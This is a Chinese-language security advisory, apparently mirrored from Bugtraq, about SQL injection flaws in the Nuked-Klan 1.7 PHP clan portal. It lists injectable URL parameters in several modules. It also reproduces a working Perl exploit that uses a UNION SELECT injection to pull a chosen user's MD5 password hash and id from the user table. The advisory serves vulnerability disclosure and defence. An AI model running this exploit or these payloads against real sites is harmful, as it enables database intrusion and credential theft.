发布日期：2005-10-25
更新日期：2005-10-25

受影响系统：

Nuked-Klan Nuked-Klan 1.7

描述：

---

BUGTRAQ  ID: 15181

Nuked Klan是一款用于"clans"的PHP网关程序。

Nuked Klan中存在多个SQL注入漏洞。由于没有正确的验证用户输入，攻击者可以通过类似于以下的URL完全入侵数据库系统：

http://www.example.com/index.php?file=Forum&page=viewtopic&forum_id=[FORUM_ID]'
http://www.example.com/index.php?file=Forum&page=viewtopic&forum_id=1'
http://www.example.com/nk/index.php?file=Forum&page=viewtopic&forum_id='[SQL]&thread_id='[SQL]
http://www.example.com/nk/index.php?file=Links&op=description&link_id='[SQL]
http://www.example.com/nk/index.php?file=Sections&op=article&artid='[SQL]
http://www.example.com/nk/index.php?file=Download&op=description&dl_id='[SQL]

<*来源：papipsycho （papipsycho@hotmail）
  
  链接：http://marc.theaimsgroup.com/?l=bugtraq&m=113017972620427&w=2
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

#!/usr/bin/perl
use LWP::Simple;

if (@ARGV != 2)
{
print "\n Nuked klan 1.7: Remote Exploit\n";
print "---------------------------------------------\n\n";
print " Coded By Papipsycho for G00t R0t ?       \n Contact: \
papipsycho@hotmail.com\n\n"; print "[!] usage: perl $0 [host] [user]\n";
print "[?] exam: perl $0 http://127.0.0.1/nk/ papipsycho\n\n";
print "Result:\n";
print "[+]user: papipsycho\n";
print "[+]pass(md5): 05632060d4357d8927n28df514a1fb27\n";
print "[+]id: sliN4piN4t6r4tirlX6b\n\n";
print "---------------------------------------------\n\n";
exit ();
}

$adr = $ARGV[0]; # http://127.0.0.1/nk/
$user = $ARGV[1]; # user

$phase1 = "index.php?file=Links&op=description&link_id=1' UNION SELECT id, pass, \
pseudo, id, pass ,mail, niveau, count FROM `nuked_users` where pseudo = '"; $phase2 = \
"' ORDER BY id DESC /*"; $url = $adr.$phase1.$user.$phase2;
$content = get($url);
print "[+]user: $user\n";
print "[+]pass(md5): ";
print $content =~ /(\w{32})/;
print "\n[+]id: ";
print $content =~ /(\w{20})/;

建议：

---

厂商补丁：

Nuked-Klan
----------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.nuked-klan.org

浏览次数：3249
严重程度：0（网友投票）